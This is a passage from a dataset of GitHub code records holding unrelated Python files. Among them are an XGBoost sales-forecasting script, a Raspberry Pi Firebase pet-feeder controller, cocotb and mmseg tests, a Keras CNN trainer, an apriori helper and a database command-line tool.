(wikipedia.exceptions.DisambiguationError, wikipedia.exceptions.PageError):\n return []\n","repo_name":"Ronzaigu/Cosmos-Search","sub_path":"app/engines/wiki.py","file_name":"wiki.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"36463411907","text":"# -*- coding:utf-8 -*-\nfrom sklearn.model_selection import GridSearchCV\n\nimport numpy as np\nimport pandas as pd\nimport utils\nimport xgboost as xgb\nimport chinese_calendar as cc\nimport matplotlib.pyplot as plt\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n\n\ndef data_process():\n # 数据处理\n\n # 训练数据\n train_by_date_df = train_df.groupby(by='date', as_index=False).first()\n train_by_date_df[\"cnt\"] = train_df.drop(\"brand\", axis=1).groupby(by='date', as_index=False).sum()[\"cnt\"]\n # 求DOW DIFF,NAN填充更改为-7\n train_by_date_df[\"dow_diff\"] = train_by_date_df.day_of_week.diff().fillna(-7)\n # DOW DIFF 映射到1-7\n train_by_date_df.loc[train_by_date_df[train_by_date_df[\"dow_diff\"] <= 0].index, 'dow_diff'] += 7\n\n print(train_by_date_df.tail())\n filename = BC.outputFolder + \"train_by_date_df.csv\"\n train_by_date_df.to_csv(filename)\n BC.log(\"Group train data by date, output file : \" + filename)\n\n # 测试数据\n test_by_date_df = test_df.groupby(by='date', as_index=False).first()\n test_by_date_df[\"cnt\"] = 0\n # 求DOW DIFF,NAN填充更改为-7\n test_by_date_df[\"dow_diff\"] = test_by_date_df.day_of_week.diff().fillna(-7)\n print(test_by_date_df.head())\n # DOW DIFF 映射到1-7\n test_by_date_df.loc[test_by_date_df[test_by_date_df[\"dow_diff\"] <= 0].index, 'dow_diff'] += 7\n # 去重\n # test_by_date_df = test_by_date_df[1:] # 有重叠\n test_by_date_df.loc[test_by_date_df[test_by_date_df[\"dow_diff\"] == 0].index, 'dow_diff'] = 1 # 无重叠\n\n filename = BC.outputFolder + \"test_by_date_df.csv\"\n test_by_date_df.to_csv(filename)\n print(test_by_date_df.head())\n BC.log(\"Group test data by date, output file : \" + filename)\n\n # 训练数据+测试数据 求date用\n all_data_df = pd.concat([train_by_date_df, test_by_date_df], axis=0)\n all_data_df.reset_index(inplace=True)\n print(all_data_df.describe())\n BC.log(\"Concate train data and test data\")\n\n all_data_df[\"date_t\"] = BC.gen_date_by_dows(startDate, all_data_df[\"dow_diff\"])\n date2datet_df = all_data_df[[\"date\", \"date_t\", \"dow_diff\"]]\n filename = BC.outputFolder + \"date2datet.txt\"\n date2datet_df.to_csv(filename)\n BC.log(\"Write date2datet map to file : \" + filename)\n\n # 对日期进行补齐\n date_df = date2datet_df.set_index(\"date_t\")\n date_df = date_df.resample('D').asfreq()\n date_df = date_df.fillna(0)\n date_df.reset_index(inplace=True)\n # print(date_df.info())\n filename = BC.outputFolder + \"date2datet_intep.txt\"\n date_df.to_csv(filename)\n BC.log(\"Write date_df map to file : \" + filename)\n\n # 匹配真实日期\n all_data_df = pd.concat([train_df, test_df], axis=0)\n # all_data_df = pd.merge(all_data_df,date2datet_df,on=\"date\")\n\n all_data_df.tail(20)\n # 生成date brand 模板\n datet_arr = date_df[[\"date_t\"]].values.reshape(len(date_df))\n datet_brand_df = pd.DataFrame([[x, y] for x in datet_arr for y in np.arange(1, 11)], columns=[\"date_t\", \"brand\"])\n datet_brand_date_dowdiff_df = pd.merge(datet_brand_df, date_df, on=['date_t'], how=\"outer\")\n print(datet_brand_date_dowdiff_df[380:420])\n\n # 补全训练集品牌\n all_data_df = pd.merge(datet_brand_date_dowdiff_df, all_data_df, on=['date', 'brand'], how=\"outer\")\n all_data_df[\"cnt\"] = all_data_df[\"cnt\"].fillna(0)\n BC.log(\"Fill all_data_df with brand\")\n print(all_data_df.tail())\n BC.log(\"Merge all_data_df with date,dow_diff\")\n\n all_data_df.info()\n return all_data_df\n\n\ndef gen_feas(all_data_df):\n # 添加特征\n all_data_df[\"year\"] = all_data_df[\"date_t\"].dt.year\n all_data_df[\"month\"] = all_data_df[\"date_t\"].dt.month\n all_data_df[\"day\"] = all_data_df[\"date_t\"].dt.day\n # mon -> 0, sun->6\n all_data_df[\"dow\"] = all_data_df[\"date_t\"].dt.dayofweek\n all_data_df[\"doy\"] = all_data_df[\"date_t\"].dt.dayofyear\n all_data_df[\"is_sa\"] = all_data_df[\"dow\"] == 5\n all_data_df[\"is_su\"] = all_data_df[\"dow\"] == 6\n BC.log(\"Add more features : year, month, day, dow, doy, is_sa, is_su\")\n\n # 处理节假日\n all_data_df[\"is_holiday\"] = [1 if cc.is_holiday(x.date()) else 0 for x in all_data_df.date_t]\n all_data_df[\"is_holiday\"] = (all_data_df[\"is_sa\"] != 1) & (all_data_df[\"is_su\"] != 1) & (all_data_df[\"is_holiday\"] == 1)\n all_data_df[\"is_holiday\"] = [1 if x else 0 for x in all_data_df.is_holiday]\n all_data_df[\"is_WDA\"] = [1 if cc.is_workday(x.date()) else 0 for x in all_data_df.date_t]\n all_data_df[\"is_WDA\"] = ((all_data_df[\"is_sa\"] == 1) | (all_data_df[\"is_su\"] == 1)) & (all_data_df[\"is_WDA\"] == 1)\n BC.log(\"Add more features : is_holiday, is_WDA\")\n\n # 对比了下,单独划分没有明显效果,根据数据特征分组\n all_data_df[\"is_B12367\"] = all_data_df[\"brand\"].isin([1, 2, 3, 6, 7])\n all_data_df[\"is_B410\"] = all_data_df[\"brand\"].isin([4, 10])\n all_data_df[\"is_B5\"] = all_data_df[\"brand\"].isin([5])\n all_data_df[\"is_B8\"] = all_data_df[\"brand\"].isin([8])\n all_data_df[\"is_B9\"] = all_data_df[\"brand\"].isin([9])\n BC.log(\"Add more features : is_B12367, is_B410, is_B5, is_B8,is_B9\")\n\n # 外部数据\n # 增加车牌量\n # 处理最后一个月的值\n filename = \"../Input/car_sale_volume.csv\"\n car_sales_df = pd.read_csv(filename)\n car_sales_df = car_sales_df[[\"sale_quantity\", \"year\", \"month\"]]\n BC.log(\"Read cas sales : \" + filename)\n # 最后一个月的数据处理\n df_ = pd.Series([car_sales_df[-3:][\"sale_quantity\"].mean(), 2017, 11],\n index=[\"sale_quantity\", \"year\", \"month\"]).to_frame()\n car_sales_df = pd.concat([car_sales_df, df_.T])\n # car_sales_df.reset_index(inplace=True)\n all_data_df = pd.merge(all_data_df, car_sales_df, on=[\"year\", \"month\"])\n all_data_df.drop(\"day_of_week\", inplace=True, axis=1)\n\n all_data_df[\"is_Jan\"] = all_data_df[\"month\"] == 1\n all_data_df[\"is_Feb\"] = all_data_df[\"month\"] == 2\n\n BC.log(\"Add more features : is_Jan, is_Feb\")\n\n filename = BC.outputFolder + \"all_data.csv\"\n all_data_df.to_csv(filename)\n BC.log(\"Write all_data_df to \" + filename)\n return all_data_df\n\n\ndef find_params(train_X, train_y, param_grid):\n xgb_model = xgb.XGBRegressor(random_state=2018)\n rgs = GridSearchCV(xgb_model, param_grid, n_jobs=8)\n rgs.fit(train_X, train_y, eval_metric='rmse')\n print(rgs.best_score_)\n print(rgs.best_params_)\n return rgs\n\n\ndef sub(result_in):\n result_df = all_data_df[13810:]\n result_df[\"cnt\"] = result_in\n BC.log(\"Result info:\" + str(result_df.info()))\n\n # 最后输出的结果也与测试集和训练集之间的接口有点关系\n BC.log(\"Generate result\")\n filename = \"../Input/fusai_sample_B_20180227.txt\"\n result_sample_df = pd.read_table(filename, names=[\"date\", \"brand\", \"cnt\"])\n BC.log(\"Read sample file.\" + filename)\n # TODO: 效率\n cnt_arr = []\n for x in result_sample_df.values:\n cnt_arr.append(int(result_df[(result_df[\"date\"] == x[0]) & (result_df[\"brand\"] == x[1])][\"cnt\"].values[0]))\n\n # 后处理\n result_sample_df[\"cnt\"] = cnt_arr\n result_sample_df[\"cnt\"][result_sample_df[\"cnt\"] < 0] = 12\n result_sample_df.head()\n\n filename = pd.datetime.now().strftime('%Y-%m-%d-%H-%M-%S')\n filename = BC.outputFolder + \"Result_\" + filename + \".txt\"\n result_sample_df.loc[:, [\"date\", \"brand\", \"cnt\"]].to_csv(filename, sep=\"\\t\", header=False, index=False)\n\n BC.log(\"Write final result to \" + filename)\n BC.log(\"----The End----\")\n BC.endTime = pd.datetime.now().strftime('%Y-%m-%d %H-%M-%S')\n filename = BC.outputFolder + \"OperationRecord.txt\"\n with open(filename, \"w\") as f:\n f.write(str(BC))\n\n\ndef for_other():\n # 可视化\n plt.figure(figsize=(12, 6))\n plt.title(\"Feature importances\")\n plt.bar(range(len(feature_importances)), feature_importances[indices], color=\"b\", align=\"center\")\n plt.xticks(range(len(feature_importances)), np.array(feature_names)[indices])\n plt.xlim([-1, train_X.shape[1]])\n plt.show()\n\n\nif __name__ == \"__main__\":\n print(\"Talk is cheap. Show me the code.\")\n BC = utils.Briefcase()\n # Load Data start\n filename = \"../Input/fusai_train_20180227.txt\"\n train_df = pd.read_table(filename, dtype='int')\n print(train_df.tail())\n BC.log(\"Read train file : \" + filename)\n\n filename = \"../Input/fusai_test_A_20180227.txt\"\n test_a_df = pd.read_table(filename, dtype=\"int\")\n print(test_a_df.tail())\n BC.log(\"Read test A file to test_a_df: \" + filename)\n\n filename = \"../Input/fusai_answer_a_20180307.txt\"\n answer_a_df = pd.read_table(filename, dtype=\"int\", names=[\"date\", \"brand\", \"cnt\"])\n BC.log(\"Read test A answer file to answer_a_df: \" + filename)\n answer_a_df.head()\n\n test_a_df = pd.merge(test_a_df, answer_a_df, on=[\"date\", \"brand\"])\n BC.log(\"Merge test A cnt\")\n train_df = pd.concat([train_df, test_a_df[1:]])\n BC.log(\"Concat train_df and test_a_df\")\n\n filename = \"../Input/fusai_test_B_20180227.txt\"\n test_df = pd.read_table(filename, dtype=\"int\")\n # print(test_df.tail())\n BC.log(\"Read test B file to test_df: \" + filename)\n del test_a_df\n del answer_a_df\n # Load Data End\n\n startDate = pd.to_datetime(\"2013-01-01\") # 初始日期\n\n all_data_df = data_process()\n\n # Feature Engineering\n all_data_df = gen_feas(all_data_df)\n\n # 保留必须特征,添加不同特征,看效果进行特征选择\n train_feas = [\"brand\", \"dow_diff\", \"year\", \"month\", \"day\", \"dow\", \"doy\",\n \"is_sa\", \"is_su\", \"is_holiday\", \"is_WDA\",\n \"is_B12367\", \"is_B410\", \"is_B5\", \"is_B8\", \"is_B9\",\n \"is_Jan\", \"is_Feb\", \"sale_quantity\"\n ]\n BC.log(\"Train features : \" + str(train_feas))\n # TODO: 贪心个自动特征选择的方案\n\n train_X = all_data_df[:13810][train_feas].values\n train_y = all_data_df[:13810]['cnt'].values\n train_y = train_y.reshape(train_y.shape[0], 1)\n\n param_grid = {\n 'max_depth':[3],\n # 'max_depth': [3, 4, 5],\n # 'n_estimators': [20, 40, 50, 60, 80, 100, 200, 400],\n # 'learning_rate': [0.01, 0.02, 0.05, 0.1, 0.2],\n # 'subsample': [0.65, 0.7, 0.8],\n # 'colsample_bylevel': [0.65, 0.7, 0.8],\n }\n\n BC.log(\"Start to search params : \\n\" + str(param_grid))\n rgs = find_params(train_X, train_y, param_grid)\n BC.log(\"End to search params.\")\n BC.log(\"Best Score is \" + str(rgs.best_score_))\n BC.log(\"Best Params are \" + str(rgs.best_params_))\n BC.log(str(rgs.best_estimator_.feature_importances_))\n print(\"Feature ranking:\")\n\n feature_importances = rgs.best_estimator_.feature_importances_\n BC.log(str(train_feas) + str(feature_importances))\n indices = np.argsort(feature_importances)[::-1]\n # BC.log(\"Plot feature ranking.\")\n\n for f in indices:\n print(\"feature %s (%f)\" % (train_feas[f], feature_importances[f]))\n\n predict_y = rgs.best_estimator_.predict(train_X)\n train_data_df = all_data_df[:13810]\n train_data_df = train_data_df[[\"date\", \"date_t\", \"brand\", \"cnt\"]]\n train_data_df[\"cnt_p\"] = predict_y\n\n filename = BC.outputFolder + BC.startTime + \"train_data_df.csv\"\n train_data_df.to_csv(filename)\n\n # 预测\n test_X = all_data_df[13810:][train_feas].values\n\n BC.log(\"Start to predict\")\n result = rgs.best_estimator_.predict(test_X)\n sub(result)\n","repo_name":"SmirkCao/tianchi-yancheng","sub_path":"Model/Yancheng_1_Smirk_S2.py","file_name":"Yancheng_1_Smirk_S2.py","file_ext":"py","file_size_in_byte":11337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"17892052570","text":"from a10sdk.common.A10BaseClass import A10BaseClass\n\n\nclass Reset(A10BaseClass):\n \n \"\"\" :param auto_switch: {\"default\": 0, \"optional\": true, \"type\": \"number\", \"description\": \"Reset auto stateless state\", \"format\": \"flag\"}\n :param DeviceProxy: The device proxy for REST operations and session handling. Refer to `common/device_proxy.py`\n\nClass Description::\n Reset.\n\n Class reset supports CRUD Operations and inherits from `common/A10BaseClass`.\n This class is the `\"PARENT\"` class for this module.`\n\n \n\n URL for this object::\n `https:////axapi/v3/slb/service-group/{name}/reset`.\n\n \n\n \n \"\"\"\n def __init__(self, **kwargs):\n self.ERROR_MSG = \"\"\n self.required=[]\n self.b_key = \"reset\"\n self.a10_url=\"/axapi/v3/slb/service-group/{name}/reset\"\n self.DeviceProxy = \"\"\n self.auto_switch = \"\"\n\n for keys, value in kwargs.items():\n setattr(self,keys, value)\n\n\n","repo_name":"a10networks/a10sdk-python","sub_path":"a10sdk/core/slb/slb_service_group_reset.py","file_name":"slb_service_group_reset.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"7"} +{"seq_id":"74164641504","text":"import os\n\nimport requests as requests\n\nimport func\n\n\nclass Func:\n def __init__(self):\n self.api_server = os.environ.get('_API_SERVER')\n self.pod_uid = os.environ.get('_SELF')\n self.left_path = os.environ.get('_LEFT')\n self.right_path = os.environ.get('_RIGHT')\n self.uid = os.environ.get('_UID')\n\n print('INPUTS:')\n print('\\t_API_SERVER: ', self.api_server)\n print('\\t_SELF: ', self.pod_uid)\n print('\\t_LEFT: ', self.left_path)\n print('\\t_RIGHT: ', self.right_path)\n print('\\t_UID: ', self.uid)\n\n def run(self, arg):\n ret = func.run(arg)\n if func.check(ret):\n path = self.left_path\n else:\n path = self.right_path\n next_url = self.api_server + '/api/funcs/' + path + '/' + self.uid\n return next_url, ret\n\n def post_result(self, tup):\n response = requests.put(tup[0], data=tup[1])\n if response.status_code == 200:\n print('Call next function was successful!')\n print(response.text)\n else:\n print('Call next function failed with status code:', response.status_code)\n pod_url = self.api_server + '/api/pods/' + self.pod_uid\n response = requests.delete(pod_url)\n if response.status_code == 200:\n print('Delete was successful!')\n print(response.text)\n else:\n print('Delete failed with status code:', response.status_code)\n\n\ndef get_arg_from_env():\n return os.environ.get('_ARG')\n\n\nif __name__ == '__main__':\n f = Func()\n\n f.post_result(f.run(get_arg_from_env()))\n","repo_name":"f1yby/minik8s-images","sub_path":"src/func-runner/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39161971335","text":"from typing import Counter\nimport itertools\n\n\ndef getIndividualSupport(dataDictionary, totalTransactions, threshold=2):\n dataDict = Counter(sorted(dataDictionary))\n cleanedDict = [item for item in dataDict.items() if item[1] >= threshold]\n supportList = []\n for item in cleanedDict:\n if item[1] >= threshold:\n supportList.append((item[0], item[1] / totalTransactions))\n return supportList\n # myList = [value for value in dataDict.values() if value >= threshold]\n # for key, value in cleanedDict.items():\n # if value >= threshold:\n # supportList.append((key, value / totalTransactions))\n # return supportList\n\n\ndef getTransactions(data, printData=False, filteredList=[]):\n \"\"\"Creates MarketTransaction object list from pandas.read_csv DataFramee object\n\n Args:\n data (DataFrame): pandas.read_csv result\n printData (bool, optional): Determines if the items will be printed out. Defaults to False.\n\n Returns:\n [list]: [list of MarketTransaction]\n \"\"\"\n transactions = []\n for t in data.values:\n transaction = MarketTransaction(t, filteredList=filteredList)\n transactions.append(transaction)\n if printData:\n print(transaction.tId, transaction.Items)\n return transactions\n\n\ndef getCleanData(data):\n \"\"\"Returns cleaned data from pandas dataframe\n\n Args:\n data ([DataFrame]): [pandas DataFrame object]\n\n Returns:\n [list]: [list object]\n \"\"\"\n return [\n item\n for sublist in data.values\n for item in sublist\n if (str(item) != \"nan\" and not str(item).startswith(\"T\"))\n ]\n\n\nclass MarketTransaction:\n def __init__(self, transaction, filteredList=[]):\n self.tId = transaction[0]\n self.items = []\n self.filteredItems = []\n for x in transaction[1 : len(transaction) + 1]:\n a = [(k, v) for (k, v) in filteredList if k == x]\n if str(x) != \"nan\":\n self.items.append(x)\n if len(a) > 0:\n self.filteredItems.append(x)\n\n self.Combinations = self.calculateCombinations()\n\n def calculateCombinations(self):\n combList = []\n for i in range(2, len(self.items) + 1):\n # maybe check out powerset https://stackoverflow.com/questions/464864/how-to-get-all-possible-combinations-of-a-list-s-elements\n comb = itertools.combinations(self.items, i)\n combList.append(list(comb))\n return combList","repo_name":"gterdem/apriorLibrary","sub_path":"apriorLibrary.py","file_name":"apriorLibrary.py","file_ext":"py","file_size_in_byte":2518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"26748837367","text":"# Import libraries\nimport RPi.GPIO as GPIO\nimport pyrebase\nimport time\nimport datetime\n\nconfig = { \n \"apiKey\": \"AIzaSyAwulOKVZQ0qaL6ejCcznbY3B-R1Xl-kG4\",\n \"authDomain\": \"test-3fe6c.firebaseapp.com\",\n \"databaseURL\": \"https://test-3fe6c-default-rtdb.europe-west1.firebasedatabase.app/\",\n \"storageBucket\": \"test-3fe6c.appspot.com\"\n}\n\ndef break_beam_callback(channel):\n if GPIO.input(13):\n print(\"beam unbroken\")\n else:\n #print(\"beam broken\")\n database.child(\"test\").update({\"isFeeding\": \"1\"})\n\nfirebase = pyrebase.initialize_app(config)\n\n# Set GPIO numbering mode\nGPIO.setmode(GPIO.BOARD)\n\n# Set pins 11 & 12 as outputs, and define as PWM servo1 & servo2\nGPIO.setup(11,GPIO.OUT)\n\nGPIO.setup(13,GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.add_event_detect(13, GPIO.BOTH, callback=break_beam_callback)\n\nservo1 = GPIO.PWM(11,50) # pin 11 for servo1\n\n# Start PWM running on both servos, value of 0 (pulse off)\nservo1.start(0)\n\nprint (\"Load the pod bays. Nuts will release as programmed.\")\n\ntry:\n while True:\n now = datetime.datetime.now() # get current date and time\n print (now)\n costam = round(time.time() * 1000)\n print (costam)\n \n database = firebase.database()\n \n testBucket = database.child(\"test\")\n isFeedingStatus = testBucket.child(\"isFeeding\").get().val()\n \n scheduleBucket = database.child(\"ScheduleInfo\").get()\n \n turnAmount = 3\n \n for scheduleData in scheduleBucket.each():\n schedule = scheduleData.val()\n scheduleKey = scheduleData.key()\n amount = (schedule['amount'])\n feedingHour = (schedule['feedingHour'])\n feedingMinute = (schedule['feedingMinute'])\n if now.hour==feedingHour and now.minute==feedingMinute:\n database.child(\"test\").update({\"isFeeding\": \"1\"})\n turnAmount = amount\n database.child(\"ScheduleInfo\").child(scheduleKey).remove()\n \n #for scheduleid in scheduleBucket.shallow().get().each():\n # productdb = scheduleBucket.child(scheduleid)\n # print([id for id in productdb.shallow().get()])\n \n if (isFeedingStatus==\"1\"):\n print (\"FEEDING...\")\n for x in range(turnAmount):\n servo1.ChangeDutyCycle(12)\n time.sleep(0.3)\n servo1.ChangeDutyCycle(0)\n time.sleep(0.3)\n servo1.ChangeDutyCycle(2)\n time.sleep(0.3)\n servo1.ChangeDutyCycle(0)\n time.sleep(0.3)\n \n database.child(\"test\").update({\"isFeeding\": \"0\"})\n \n timeStamp = round(time.time() * 1000)\n \n statsBucket = database.child(\"statsTable\")\n \n #firebase = firebase.FirebaseApplication(\"https://test-3fe6c-default-rtdb.firebaseio.com\", None)\n \n statsData = {\"amount\": turnAmount,\n \"dateTime\": timeStamp\n }\n \n statsBucket.push(statsData)\n \n #result = firebase.post(\"test-3fe6c-default-rtdb/statsTable\", statsData)\n \n turnAmount = 1\n # break\n \n time.sleep(10) # pause to lower CPU activity\n\nexcept KeyboardInterrupt: # If CTRL+C is pressed, exit cleanly:\n servo1.stop() # stop red PWM\n GPIO.cleanup() # cleanup all GPIO\n print(\"Goodbye!\")\n \n","repo_name":"Karllo98/FeederApp","sub_path":"raspberry/raspberry_file.py","file_name":"raspberry_file.py","file_ext":"py","file_size_in_byte":3506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"12954000798","text":"from cocotb_test.run import run\nfrom cocotb_test.simulator import Icarus, Ius\nimport pytest\nimport os\n\n\nclass IcarusCustom(Icarus):\n def run_command(self):\n return [\"vvp\", \"-v\", \"-l\", self.logfile, \"-M\", self.lib_dir, \"-m\", \"libvpi\", self.sim_file]\n\n\n@pytest.fixture(scope=\"module\", autouse=True)\ndef module_run_at_beginning(request):\n print(\"\\n\\nIn module_run_at_beginning()\\n\\n\")\n\n def module_run_at_end():\n print(\"\\n\\nIn module_run_at_end()\\n\\n\")\n\n request.addfinalizer(module_run_at_end)\n\n\n@pytest.mark.skipif(os.getenv(\"SIM\") != \"icarus\", reason=\"Custom for Icarus\")\ndef test_dff_custom_icarus():\n IcarusCustom(\n run_filename=__file__,\n verilog_sources=[\"dff.v\"],\n toplevel=\"dff\",\n python_search=[\".\"],\n module=\"dff_cocotb\",\n logfile=\"custom_log.log\", # extra custom argument\n ).run()\n\n\nclass IusCustom(Ius):\n def build_command(self):\n cmd = [\n \"xrun\",\n \"-loadvpi\",\n os.path.join(self.lib_dir, \"libvpi.\" + self.lib_ext) + \":vlog_startup_routines_bootstrap\",\n \"-plinowarn\",\n \"-access\",\n \"+rwc\",\n \"-f\",\n self.defsfile,\n ]\n\n return [cmd]\n\n\n@pytest.mark.skipif(os.getenv(\"SIM\") != \"ius\", reason=\"Custom for IUS\")\ndef test_dff_custom_ius():\n run(simulator=IusCustom, toplevel=\"dff\", python_search=[\".\"], module=\"dff_cocotb\", defsfile=\"ius_defines.f\") # extra custom argument\n","repo_name":"karimtamer23/cocotb-test","sub_path":"tests/test_dff_custom_sim.py","file_name":"test_dff_custom_sim.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"72853225502","text":"import torch\nfrom mmcv.cnn import ConvModule\n\nfrom mmseg.models.backbones import BiSeNetV2\nfrom mmseg.models.backbones.bisenetv2 import (BGALayer, DetailBranch,\n SemanticBranch)\n\n\ndef test_bisenetv2_backbone():\n # Test BiSeNetV2 Standard Forward\n model = BiSeNetV2()\n model.init_weights()\n model.train()\n batch_size = 2\n imgs = torch.randn(batch_size, 3, 128, 256)\n feat = model(imgs)\n\n assert len(feat) == 5\n # output for segment Head\n assert feat[0].shape == torch.Size([batch_size, 128, 16, 32])\n # for auxiliary head 1\n assert feat[1].shape == torch.Size([batch_size, 16, 32, 64])\n # for auxiliary head 2\n assert feat[2].shape == torch.Size([batch_size, 32, 16, 32])\n # for auxiliary head 3\n assert feat[3].shape == torch.Size([batch_size, 64, 8, 16])\n # for auxiliary head 4\n assert feat[4].shape == torch.Size([batch_size, 128, 4, 8])\n\n # Test input with rare shape\n batch_size = 2\n imgs = torch.randn(batch_size, 3, 95, 27)\n feat = model(imgs)\n assert len(feat) == 5\n\n\ndef test_bisenetv2_DetailBranch():\n x = torch.randn(1, 3, 32, 64)\n detail_branch = DetailBranch(detail_channels=(64, 16, 32))\n assert isinstance(detail_branch.detail_branch[0][0], ConvModule)\n x_out = detail_branch(x)\n assert x_out.shape == torch.Size([1, 32, 4, 8])\n\n\ndef test_bisenetv2_SemanticBranch():\n semantic_branch = SemanticBranch(semantic_channels=(16, 32, 64, 128))\n assert semantic_branch.stage1.pool.stride == 2\n\n\ndef test_bisenetv2_BGALayer():\n x_a = torch.randn(1, 8, 8, 16)\n x_b = torch.randn(1, 8, 2, 4)\n bga = BGALayer(out_channels=8)\n assert isinstance(bga.conv, ConvModule)\n x_out = bga(x_a, x_b)\n assert x_out.shape == torch.Size([1, 8, 8, 16])\n","repo_name":"Ascend/ModelZoo-PyTorch","sub_path":"PyTorch/built-in/cv/semantic_segmentation/BiseNetV1_for_PyTorch/tests/test_models/test_backbones/test_bisenetv2.py","file_name":"test_bisenetv2.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"7"} +{"seq_id":"72864584223","text":"from keras.models import Sequential\r\nfrom keras.layers import Dropout, Activation, Dense\r\nfrom keras.layers import Flatten, Convolution2D, MaxPooling2D\r\nimport numpy as np\r\nimport cv2\r\n\r\n# 데이터 불러오기\r\nX_train = np.load('./x_train_data.npy')\r\nX_test = np.load('./x_test_data.npy')\r\nY_train = np.load('./y_train_data.npy')\r\nY_test = np.load('./y_test_data.npy')\r\n\r\n# X_train_samples = len(X_train)\r\n# Y_train_samples = len(Y_train)\r\n# X_test_samples = len(X_test)\r\n# Y_test_samples = len(Y_test)\r\n\r\n# print(f\"X_train.shape : {X_train.shape}\")\r\n# print(f\"Y_train.shape : {Y_train.shape}\")\r\n# print(f\"X_test.shape : {X_test.shape}\")\r\n# print(f\"Y_test.shape : {Y_test.shape}\")\r\n\r\n# print(f\"Number of samples in X_train: {X_train_samples}\")\r\n# print(f\"Number of samples in Y_train: {Y_train_samples}\")\r\n# print(f\"Number of samples in X_test: {X_test_samples}\")\r\n# print(f\"Number of samples in Y_test: {Y_test_samples}\")\r\n\r\nnum_classes = 9\r\n\r\nmodel = Sequential()\r\nmodel.add(Convolution2D(16, (3, 3), padding='same', activation='relu',\r\n input_shape=X_train.shape[1:]))\r\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\r\nmodel.add(Dropout(0.25))\r\n\r\nmodel.add(Convolution2D(64, (3, 3), activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\r\nmodel.add(Dropout(0.25))\r\n\r\nmodel.add(Convolution2D(64, (3, 3), activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\r\nmodel.add(Dropout(0.25))\r\n\r\nmodel.add(Flatten())\r\nmodel.add(Dense(256, activation='relu'))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(num_classes, activation='softmax'))\r\n\r\nmodel.compile(loss='categorical_crossentropy',\r\n optimizer='adam', metrics=['accuracy'])\r\n\r\n# Y_train과 Y_test가 원-핫 인코딩되어 있다고 가정합니다\r\nmodel.fit(X_train, Y_train, batch_size=32, epochs=100,\r\n validation_data=(X_test, Y_test))\r\n\r\n# test data에 대한 정확도 평가\r\nloss, accuracy = model.evaluate(X_test, Y_test, verbose=1)\r\n\r\nprint(f'Test Loss: {loss:.4f}')\r\nprint(f'Test Accuracy: {accuracy:.4f}')\r\n\r\n# 모델 저장\r\nmodel.save('my_model.keras')\r\n","repo_name":"LSuhyeon33/AI_vacuum","sub_path":"code/CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"35501150393","text":"__author__ = 'Martin'\n\nimport sys\nfrom bdd import *\n\ndef run(application):\n input = raw_input(\"SGBD>>\")\n if input == 'exit':\n print(\"Good Bye\")\n return False\n elif input == \"help\":\n showHelp()\n return True\n\n else:\n execute(application,input.split())\n return True\n\ndef showHelp():\n print(10*\"#\"+\"List of commands\"+10*\"#\"+\"\\n\")\n print(3*\" - \"+\"showTables : show the name of all the tables in the database\")\n print(3*\" - \"+\"showDep (nameTable)*: show all the functional dependencies (for nameTable)*\")\n print(3*\" - \"+\"addDep nameTable : add a functional dependence to nameTable\")\n print(3*\" - \"+\"delDep nameTable : delete a functional dependence to nameTable\")\n print(3*\" - \"+\"showAtt nameTable : show the name of all the attributes of nameTable\")\n print(3*\" - \"+\"showLogCons nameTable : show all the logical dependencies\")\n print(3*\" - \"+\"findSuperKey nameTable : find all the super keys of nameTable\")\n print(3*\" - \"+\"findKey nameTable : find the key of nameTable\")\n print(3*\" - \"+\"isBcnf nameTable : say if nameTable is in BCNF\")\n print(3*\" - \"+\"respect nameTable : say if all the functional dependence are respected\")\n print(3*\" - \"+\"is3nf nameTable : say if nameTable is in 3NF\\n\")\n\n\ndef execute(application,command):\n if 'showTables' in command:\n tableList = application.get_tables()\n for table in tableList:\n print (table)\n elif 'showDep' in command:\n depList = application.funcDep()\n if len(depList) <= 0:\n print(\"No dependencies\")\n else:\n for dep in depList:\n if len(command) > 1:\n if command[1] == dep[0]:\n print (dep[0]+\" \"+dep[1]+\" -> \"+dep[2])\n else:\n print (dep[0]+\" | \"+dep[1]+\" -> \"+dep[2])\n\n elif 'addDep' in command:\n if(len(command)) <= 1:\n print(\"Parameter is missing\")\n else :\n print(\"Dependence is like X -> A\")\n x = raw_input(\"Enter X : \")\n a = raw_input(\"Enter A : \")\n application.add_dep((command[1],x,a,))\n elif 'delDep' in command:\n if (len(command) <= 1):\n print(\"Parameter is missing\")\n else:\n print(\"Dependence is like X ->A\")\n x = raw_input(\"Enter X : \")\n a = raw_input(\"Enter A : \")\n application.delete_dep(command[1],x,a)\n\n elif 'showAtt' in command:\n if(len(command)) <= 1:\n print(\"Parameter is missing\")\n else :\n attList = application.get_attributes(command[1])\n for att in attList:\n print (att),\n print(\"\\n\")\n elif 'showLogCons' in command:\n if(len(command)) <= 1:\n print(\"Parameter is missing\")\n else:\n number = 1\n while number > 0:\n depList = application.get_logical_consequence(command[1])\n if len(depList) <= 0:\n print(\"No logical consequence \")\n break\n else:\n i=1\n for dep in depList:\n print (str(i)+\" : \"+dep[0]+\" \"+dep[1]+\" -> \"+dep[2])\n i+=1\n 